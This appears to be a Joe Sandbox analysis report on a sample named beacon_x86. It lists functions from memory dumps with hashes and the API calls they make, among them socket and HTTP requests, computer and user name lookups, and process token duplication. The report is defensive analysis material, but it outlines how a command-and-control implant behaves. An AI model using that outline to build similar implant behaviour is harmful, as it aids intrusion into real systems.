API String ID: 551783810-0
Opcode ID: e8dc1fe84768dd7c4b5017b534baf21f3adb7088137c2998dde32ade6aef6991
Instruction ID: 57042abf33176543147232374795c4d67c85a0f18c667b872bfd1e8256d85333
Opcode Fuzzy Hash: e8dc1fe84768dd7c4b5017b534baf21f3adb7088137c2998dde32ade6aef6991
Instruction Fuzzy Hash: E9C00232054348FFEF012FE9EC0DA897F29EB09692F008112F70DC5265CB729554ABB2

Function 00D87190 Relevance: .4, Instructions: 435COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69f878c662c84c756de1d8129119de73835064633f44cc5b8cc2bd9adefc1d0d
Instruction ID: c2f0cb761ec17cff96f8be3869eb4dba53266de6543573250203317dd1cbea0d
Opcode Fuzzy Hash: 69f878c662c84c756de1d8129119de73835064633f44cc5b8cc2bd9adefc1d0d
Instruction Fuzzy Hash: D81281319201598FDB08CF5DD891ABDBBF1EF4A311F44816EE456EB386CA38E611DB60

Function 00D86BC0 Relevance: .4, Instructions: 406COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 109b8e85eca6f3dc4a9b36f80e273022e8c05d9b1d1f4b328c1160f0ce62a6bb
Instruction ID: a59a0fc22ddfc96f205cddbf139fc72cbb10b6f657a9334a222e45671a3b463d
Opcode Fuzzy Hash: 109b8e85eca6f3dc4a9b36f80e273022e8c05d9b1d1f4b328c1160f0ce62a6bb
Instruction Fuzzy Hash: 0B1240719242598FCB08CF6DD8919BDBBF1EF49300F55816EE496EB382C638E611DB60

Function 00D848FD Relevance: .4, Instructions: 384COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction ID: 63142024dee99eb8ebd9e6e6d5ce4565bb0219feb4c61a6e7e65127a6a8e61aa
Opcode Fuzzy Hash: 0666e2c6603716d584354562bcf590181c980fb8da26174d951f804026303a75
Instruction Fuzzy Hash: 8ED160B3C0F9F3068775912D416822BEA626FD1A5131FC3E1DCD43F289D62A9E1497E0

Function 00D844DD Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: e74cdac42d4d356d687a46b8e05b18258ec989895bfdb940aead44cb54f90989
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: B6D17FB3C0E9F30A8735912D455813BEAA2AFD1B5131FC3E19CD43F289D66A9E1097E0

Function 00D840D1 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction ID: 1cd25fa238fa83536e2cee0a651a46d03f37c57b0810418b67913f3dd0556d1b
Opcode Fuzzy Hash: 8709e21481f65d4d57cc4b3952fb3adbcebd3cc8b64ff3d20fdf858c0bfd14a0
Instruction Fuzzy Hash: EAC14FB3C0E9F30A8736912D415822BEA626FD1B5131FC3E19CD43F28AD66A5E1497E0

Function 00D83CFD Relevance: .4, Instructions: 351COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction ID: d72d78773b4044e77881f7b666d9934736528951c73e52dde7659f6623ab7369
Opcode Fuzzy Hash: a6a9d25a147ba64f4d06249d12fe21364a5b6889ab238d0ba2e949acfc497403
Instruction Fuzzy Hash: 60C150B3D1E9F34A8736912D415813BEE62AFD1B4031FC7A19CD83F289D52A9E1497E0

Function 00D29FDE Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d20000_beacon_x86.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction ID: 3bd05013bad52864cbf34d9ce3b2ef8bf777548a8b523da455bd9dc1a639f287
Opcode Fuzzy Hash: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction Fuzzy Hash: 6591CEB4E00219CFCF08CF89D5909AEBBB1FF58314F249199D8156B315D235AA41CFA6

Function 00D2ACAE Relevance: .2, Instructions: 182COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_d20000_beacon_x86.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction ID: 5ea41cd3132483dd76c1b94bbbf563adffe585470754e7300e301a4603567543
Opcode Fuzzy Hash: 0a7232b9ed9669d881f4893b4c8615f0ca151278e9e7f5d9bb8b2fa9bed21a24
Instruction Fuzzy Hash: 9491D0B4E00219DFCF08CF89D5909ADBBB1FF58305F248199D8116B315D335AA81DFA6

Function 00D749E9 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _malloc
String ID:
API String ID: 1579825452-0
Opcode ID: 6791e407721d225b3afd7da43f316009bd61b4b06dee7acae203e02b51795d3a
Instruction ID: 72ff2f11026f94b6e7c2b73bcc5123fb980c2a18e3b5267b3406511484b2eb62
Opcode Fuzzy Hash: 6791e407721d225b3afd7da43f316009bd61b4b06dee7acae203e02b51795d3a
Instruction Fuzzy Hash: D6413CB6E00209AFDB14DFA8C881AAEB7B5EF48310F158569E909E7345E774ED05CB60

Function 00D86945 Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 889514d21c04973c4f53551dec79e456587bb55b0ebe03bb6a4b0c62d7c4914a
Instruction ID: ef24fa0c7c192093a52d7bf4de30f07dc8bf9996205d8966295a27bae4609557
Opcode Fuzzy Hash: 889514d21c04973c4f53551dec79e456587bb55b0ebe03bb6a4b0c62d7c4914a
Instruction Fuzzy Hash: 7441A1749201688FCB48CF9EE8908EDBBF2FB4E351B45851AE546B7395C638A910DF34

Function 00D67B1A Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 210networkCOMMONLIBRARYCODE

Download Yara Rule

APIs

htonl.WS2_32(00D9F838), ref: 00D67B54
select.WS2_32(00000000,?,?,?,?), ref: 00D67BB8
__WSAFDIsSet.WS2_32(?,?), ref: 00D67BD4
accept.WS2_32(?,00000000,00000000), ref: 00D67BE9
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00D67BFC

Part of subcall function 00D67520: _malloc.LIBCMT ref: 00D67527
Part of subcall function 00D67520: GetTickCount.KERNEL32 ref: 00D67547

Part of subcall function 00D606CB: _malloc.LIBCMT ref: 00D606D1

Part of subcall function 00D6071B: htonl.WS2_32(00000000), ref: 00D60721

Part of subcall function 00D60864: _memset.LIBCMT ref: 00D60872

__WSAFDIsSet.WS2_32(?,?), ref: 00D67C89
accept.WS2_32(?,00000000,00000000), ref: 00D67C9B
closesocket.WS2_32(00000002), ref: 00D67DA9

Strings

d, xrefs: 00D67B34

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _mallocaccepthtonl$CountTick_memsetclosesocketioctlsocketselect
String ID: d
API String ID: 4083423528-2564639436
Opcode ID: cb1bd422f49ec1641cc3d4f92a6d39acd7681f861dd122451e90aa1d8bf74031
Instruction ID: 7b6f05ec95234217fc4f771b1ca73a45e120cb6f074de26abf8d8f47f370173a
Opcode Fuzzy Hash: cb1bd422f49ec1641cc3d4f92a6d39acd7681f861dd122451e90aa1d8bf74031
Instruction Fuzzy Hash: 607128B1C00608EBDB21EFA4CC45AAFBBB8EF44314F1449AAE555E2251E731EA45CF71

Function 00D7AEFD Relevance: 28.4, APIs: 12, Strings: 4, Instructions: 390COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 00D7B20F
_write_multi_char.LIBCMT ref: 00D7B323
_write_string.LIBCMT ref: 00D7B343
_write_multi_char.LIBCMT ref: 00D7B365
__cftof.LIBCMT ref: 00D7B3A5
_write_string.LIBCMT ref: 00D7B3C8
_write_multi_char.LIBCMT ref: 00D7B411

Strings

-, xrefs: 00D7B2CE
g, xrefs: 00D7B08D
, xrefs: 00D7AF47
@, xrefs: 00D7AF73

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _write_multi_char$_write_string$__aulldvrm__cftof
String ID: $-$@$g
API String ID: 4131014116-2320099971
Opcode ID: 09abb725da79724107c97555dae2b3c844d34ba5ec8dfada0ed46c5d5eb82f1e
Instruction ID: e374d635a8242bbac06bdebc93a0f79552487a724ecb65f76d84354a9ce1e248
Opcode Fuzzy Hash: 09abb725da79724107c97555dae2b3c844d34ba5ec8dfada0ed46c5d5eb82f1e
Instruction Fuzzy Hash: 76F1577180522D9ADB309F18CC887EDBBB5EB54328F1882DAD44CA6192E7748FC5CF61

Function 00D7AFBE Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 299COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00D7AED1
__malloc_crt.LIBCMT ref: 00D7AFDD

Part of subcall function 00D8080D: _malloc.LIBCMT ref: 00D80819
Part of subcall function 00D8080D: Sleep.KERNEL32(00000000,00000001,?,?,00D79834,00000018,00D92700,0000000C,00D798C5,?,?,?,00D8519D,00000004,00D92A60,0000000C), ref: 00D8082E

__decode_pointer.LIBCMT ref: 00D7B054
__decode_pointer.LIBCMT ref: 00D7B083
__decode_pointer.LIBCMT ref: 00D7B0A8
_write_multi_char.LIBCMT ref: 00D7B323
_write_string.LIBCMT ref: 00D7B343
_write_multi_char.LIBCMT ref: 00D7B365

Strings

-, xrefs: 00D7B2CE
g, xrefs: 00D7B08D
@, xrefs: 00D7AD31

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: __decode_pointer$_write_multi_char$Sleep__malloc_crt_malloc_strlen_write_string
String ID: -$@$g
API String ID: 785859804-2189933660
Opcode ID: 808e18b60f291b9fdfe502dbf34f99d7ad1d900eb6831da42885eb4605a8ed39
Instruction ID: 867de4a000729e71d0075abeb52140f79b60fce9dbf3034e4579c09ac09a38fe
Opcode Fuzzy Hash: 808e18b60f291b9fdfe502dbf34f99d7ad1d900eb6831da42885eb4605a8ed39
Instruction Fuzzy Hash: 3FC1447180522D9ADB309F18CC887EDBBB5EB54328F1882DAD44CA6152EB758FC5CF61

Function 00D7AFA5 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 285COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00D7AED1
__decode_pointer.LIBCMT ref: 00D7B054
__decode_pointer.LIBCMT ref: 00D7B083
__decode_pointer.LIBCMT ref: 00D7B0A8
_write_multi_char.LIBCMT ref: 00D7B323
_write_string.LIBCMT ref: 00D7B343
_write_multi_char.LIBCMT ref: 00D7B365

Strings

-, xrefs: 00D7B2CE
g, xrefs: 00D7B08D
@, xrefs: 00D7AD31

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: __decode_pointer$_write_multi_char$_strlen_write_string
String ID: -$@$g
API String ID: 4088299054-2189933660
Opcode ID: 1ae129bfee6254c9a5e3658857fb8c4933a575d7979b7fdbbc0ef0e7e15a441b
Instruction ID: fd3b2b208220292a6b53199d08332862300fa353751a53beff188c9d5c96e156
Opcode Fuzzy Hash: 1ae129bfee6254c9a5e3658857fb8c4933a575d7979b7fdbbc0ef0e7e15a441b
Instruction Fuzzy Hash: C1C1557180522D9ADF309E18CC887ADBBB5EB54328F1882DAD44CA6152EB758FC5CF61

Function 00D61962 Relevance: 16.7, APIs: 11, Instructions: 196networksleepCOMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D6198D
_memset.LIBCMT ref: 00D619A2
__snprintf.LIBCMT ref: 00D61A0E
_memset.LIBCMT ref: 00D61A1C
__snprintf.LIBCMT ref: 00D61A3A
__snprintf.LIBCMT ref: 00D61A59
__snprintf.LIBCMT ref: 00D61AF7
__snprintf.LIBCMT ref: 00D61B0E
HttpOpenRequestA.WININET(00000000,?,00000000,00000000,00D90540,00D9EFC4), ref: 00D61B4B
HttpSendRequestA.WININET(00000000,?,?,?,?), ref: 00D61B74
Sleep.KERNEL32(000001F4), ref: 00D61B8D

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: __snprintf$_memset$HttpRequest$OpenSendSleep
String ID:
API String ID: 211597586-0
Opcode ID: 9391b8f4c8343b7f261005d4aed2972c0e1366ed12449fac3dc339d81a15aa81
Instruction ID: e44ac3938db7a716fc53a53a08ed9f32e139763866e758f66c9455400d855fe2
Opcode Fuzzy Hash: 9391b8f4c8343b7f261005d4aed2972c0e1366ed12449fac3dc339d81a15aa81
Instruction Fuzzy Hash: 21618272900219AFDB11EFA4DC45EEE7BBDEF05304F0804A6F605E3162EB359A498B75

Function 00D6C15B Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D6C17F

Part of subcall function 00D6BF6B: _memset.LIBCMT ref: 00D6BFFE

Strings

p,v, xrefs: 00D6C1CC
p=v, xrefs: 00D6C253
0.v, xrefs: 00D6C306
@Cv, xrefs: 00D6C1F8
0/v, xrefs: 00D6C27F
0-v, xrefs: 00D6C2AB
`+v, xrefs: 00D6C269
P.v, xrefs: 00D6C2DA

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset
String ID: 0-v$0.v$0/v$@Cv$P.v$`+v$p,v$p=v
API String ID: 2102423945-2623314928
Opcode ID: 2a1ddd4c431b777eebf149a5e467cff022968bc0af4edfeb5626e099c1d7a3ef
Instruction ID: a3a6c6d33edf21e2f03e9201f63ac6a42c5adfb9ff06de3ac0bdf3e68bb77c96
Opcode Fuzzy Hash: 2a1ddd4c431b777eebf149a5e467cff022968bc0af4edfeb5626e099c1d7a3ef
Instruction Fuzzy Hash: 8F416D36A291286BC711E629CD42CFA76BCDF46720F4511B3B08DB3252EA749F454EF0

Function 00D67919 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 69networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,00000000,?,?,00000000), ref: 00D67975
__WSAFDIsSet.WS2_32(?,?), ref: 00D67985
__WSAFDIsSet.WS2_32(?,?), ref: 00D67998
gethostbyname.WS2_32(?), ref: 00D679AC
htons.WS2_32(?), ref: 00D679BF
inet_addr.WS2_32(?), ref: 00D679CB
sendto.WS2_32(?,00000000,?,00000000,?,00000010), ref: 00D679E5

Strings

d, xrefs: 00D67938

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: gethostbynamehtonsinet_addrselectsendto
String ID: d
API String ID: 3731482772-2564639436
Opcode ID: 7eda4c1a0149a1f0705f0d554761037a737f0056b7dbc266c3fbf94893ed4ac9
Instruction ID: a0b1445368e4dc9736521aab4d4d4c7207b0d648437b7238f7aa6959d930b5c0
Opcode Fuzzy Hash: 7eda4c1a0149a1f0705f0d554761037a737f0056b7dbc266c3fbf94893ed4ac9
Instruction Fuzzy Hash: 8421497290431DABEF11AFA4DC45BEE7BB9EF08310F1000A7EA04E6191E675DA518FA1

Function 00D6B35D Relevance: 13.8, APIs: 9, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671C2
Part of subcall function 00D671BC: _malloc.LIBCMT ref: 00D671D2

_memset.LIBCMT ref: 00D6B3CE

Part of subcall function 00D6B7BA: _memset.LIBCMT ref: 00D6B8B6

_malloc.LIBCMT ref: 00D6B3E1

Part of subcall function 00D777FF: __FF_MSGBANNER.LIBCMT ref: 00D77822
Part of subcall function 00D777FF: __NMSG_WRITE.LIBCMT ref: 00D77829
Part of subcall function 00D777FF: RtlAllocateHeap.NTDLL(00000000,?,?,00004008,00D9EFA0,?,00D6006E,00004008), ref: 00D77876

_memset.LIBCMT ref: 00D6B3F3

Part of subcall function 00D6DA37: _malloc.LIBCMT ref: 00D6DA5E
Part of subcall function 00D6DA37: _memset.LIBCMT ref: 00D6DA8C

htonl.WS2_32(00000000), ref: 00D6B424
GetComputerNameExA.KERNEL32(00000006,?,?), ref: 00D6B495
GetComputerNameA.KERNEL32(?,?), ref: 00D6B4C6
GetUserNameA.ADVAPI32(?,?), ref: 00D6B4F7

Part of subcall function 00D61F1B: WSASocketA.WS2_32(00000002,00000002,00000000,00000000,00000000,00000000), ref: 00D61F3F

_malloc.LIBCMT ref: 00D6B5CF
_memset.LIBCMT ref: 00D6B661

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _malloc_memset$Name$Computer$AllocateHeapSocketUserhtonl
String ID:
API String ID: 932012179-0
Opcode ID: 9832f672541c47644c593ca086c20e1186808bbf93a0e041c8a06648b5b8eedf
Instruction ID: 0da9baa8ca7cf8c642e0889820611ca07445d9a374f392e0005e78acf8909f74
Opcode Fuzzy Hash: 9832f672541c47644c593ca086c20e1186808bbf93a0e041c8a06648b5b8eedf
Instruction Fuzzy Hash: FD8106729083046BD720EB65DC42B6B77E9EF88734F14481BF588DB282DB75D98487B2

Function 00D6D114 Relevance: 13.6, APIs: 9, Instructions: 122COMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 00D6D13C
htonl.WS2_32(?), ref: 00D6D14C
GetLastError.KERNEL32 ref: 00D6D176
OpenProcessToken.ADVAPI32(00000000,00000000,00000008), ref: 00D6D19A
GetLastError.KERNEL32 ref: 00D6D1A4
GetLastError.KERNEL32 ref: 00D6D1C9
DuplicateTokenEx.ADVAPI32(00000008,02000000,00000000,00000003,00000001,00D9F8A4), ref: 00D6D1E8
GetLastError.KERNEL32 ref: 00D6D1F2
GetLastError.KERNEL32 ref: 00D6D20A

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: ErrorLast$Tokenhtonl$DuplicateOpenProcess
String ID:
API String ID: 2561675318-0
Opcode ID: 07b152f6cf037b5dcaace30ce36194c9710746e331e3ff0547eff56f042388b3
Instruction ID: 59bbd3a93ed36e2c1db2ae1d9e2cf904a7460eb8959e8b71864cffbf61ad8960
Opcode Fuzzy Hash: 07b152f6cf037b5dcaace30ce36194c9710746e331e3ff0547eff56f042388b3
Instruction Fuzzy Hash: A7319171E00305BBFB206BA5EC49F7A3BAAEF45755F284026F641E6191DAB8C904CB31

Function 00D67748 Relevance: 13.6, APIs: 9, Instructions: 101networkCOMMON

Download Yara Rule

APIs

htonl.WS2_32 ref: 00D67767
htons.WS2_32(00000000), ref: 00D67778
socket.WS2_32(00000002,00000001,00000000), ref: 00D677B1
closesocket.WS2_32(00000000), ref: 00D677C0
gethostbyname.WS2_32(00000000), ref: 00D677DE
htons.WS2_32(?), ref: 00D6780A
ioctlsocket.WS2_32(00000000,8004667E,?), ref: 00D6781D
connect.WS2_32(00000000,?,00000010), ref: 00D6782E
WSAGetLastError.WS2_32(00000000,?,00000010), ref: 00D67837

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: htons$ErrorLastclosesocketconnectgethostbynamehtonlioctlsocketsocket
String ID:
API String ID: 3339321253-0
Opcode ID: acb0ef915856d060e224ddedd22c6cddc1c7e23316138617e6aa7c54753255e7
Instruction ID: 67d5ace5a47ceb3261aaad7fc4cf24162d22832c8b426ca2fba37f054ad46662
Opcode Fuzzy Hash: acb0ef915856d060e224ddedd22c6cddc1c7e23316138617e6aa7c54753255e7
Instruction Fuzzy Hash: 8631C5B5D04118ABDB20BBE49C85FBE77ACEF08328F1401A6F944E7142E674CA0587B9

Function 00401C80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 124filememoryCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 00401CAF
vfprintf.MSVCRT ref: 00401CCF
abort.MSVCRT ref: 00401CD4
VirtualQuery.KERNEL32 ref: 00401D67
VirtualProtect.KERNEL32 ref: 00401DBD
GetLastError.KERNEL32 ref: 00401DCA

Strings

@, xrefs: 00401DAE

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQueryabortfwritevfprintf
String ID: @
API String ID: 1616349570-2766056989
Opcode ID: 1b0efd051e5881cbe3a5a53f7e2a4386ccc2b94af93b62ca0e5c5b9780880a0d
Instruction ID: 2f91aa6c44690fe53a7d4d9a4cebfbeb7542b51ecc99335da346757be2dbd23f
Opcode Fuzzy Hash: 1b0efd051e5881cbe3a5a53f7e2a4386ccc2b94af93b62ca0e5c5b9780880a0d
Instruction Fuzzy Hash: 2D415EB59043019FD700EF29D98565AFBE0FF84354F45893EE888973A1D778E844CB9A

Function 00402110 Relevance: 12.1, APIs: 8, Instructions: 90COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 0040214F
signal.MSVCRT ref: 00402196
signal.MSVCRT ref: 004021AF
signal.MSVCRT ref: 004021D6
signal.MSVCRT ref: 0040221A

Memory Dump Source

Source File: 00000000.00000002.3890235844.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3890220060.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890251384.0000000000403000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890265739.0000000000404000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890295487.000000000044F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3890310517.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_beacon_x86.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: e5ac87d4f014395d303e68e2d1d9b879cf4345e1fd894e7c545168dfae24a9c2
Instruction ID: b56ee3113ec50b52d2ebb4f8ab71ee7f336b0eefb9bc163dcadcfca50a5a4408
Opcode Fuzzy Hash: e5ac87d4f014395d303e68e2d1d9b879cf4345e1fd894e7c545168dfae24a9c2
Instruction Fuzzy Hash: 153121B01046008AE7206FA6864C32F76D0AB45328F154B6FE9E4EB3D1CBFDC985971B

Function 00D7889C Relevance: 10.7, APIs: 7, Instructions: 189COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 00D788FE
_memcpy_s.LIBCMT ref: 00D78973
__fileno.LIBCMT ref: 00D789D3
__read.LIBCMT ref: 00D789DA
__filbuf.LIBCMT ref: 00D789FE
_memset.LIBCMT ref: 00D78A44
_memset.LIBCMT ref: 00D78A6F

Part of subcall function 00D79641: __getptd_noexit.LIBCMT ref: 00D79641

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset$__filbuf__fileno__getptd_noexit__read_memcpy_s
String ID:
API String ID: 3886058894-0
Opcode ID: fc4aebe1cb34a72d3de3024db9cb425edac2f1df6bf6b8858243bc231b182162
Instruction ID: 545dfa2d2fbfacd36a67fb833037c7cd2b83de14fa4ce61e226090d79a24b1e7
Opcode Fuzzy Hash: fc4aebe1cb34a72d3de3024db9cb425edac2f1df6bf6b8858243bc231b182162
Instruction Fuzzy Hash: F6519771A40205EBCB219F69C84C5AEBBB5EF41320F18C65AF46D92191FB309E51EF71

Function 00D65072 Relevance: 10.7, APIs: 7, Instructions: 184COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00D650C4
_malloc.LIBCMT ref: 00D650CF
_memset.LIBCMT ref: 00D650DB
_memset.LIBCMT ref: 00D650E6
_rand.LIBCMT ref: 00D65144
_memset.LIBCMT ref: 00D651BF
_memset.LIBCMT ref: 00D651DB

Memory Dump Source

Source File: 00000000.00000002.3890568385.0000000000D60000.00000020.00001000.00020000.00000000.sdmp, Offset: 00D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d60000_beacon_x86.jbxd

Similarity

API ID: _memset$_malloc$_rand
String ID:
API String ID: 2453798774-0
Opcode ID: 6ef6dc6e4bcd2de23ed2e467e773a6f8dc8f9ebbd22941a16d6cb0498434510d
Instruction ID: 2537d77829da40f82ac6f061b41036c4293bbe7e37b8e5bf98343f7cc2f9bb85
Opcode Fuzzy Hash: 6ef6dc6e4bcd2de23ed2e467e773a6f8dc8f9ebbd22941a16d6cb0498434510d
Instruction Fuzzy Hash: B6513830A00605BFDB119F78EC55BEE7BB8DF5A300F188095F884AB256EA35DE4587B4

Function 00D669AC Relevance: 10.6, APIs: 7, Instructions: 94pipesleepfileCOMMON

Download Yara Rule

APIs

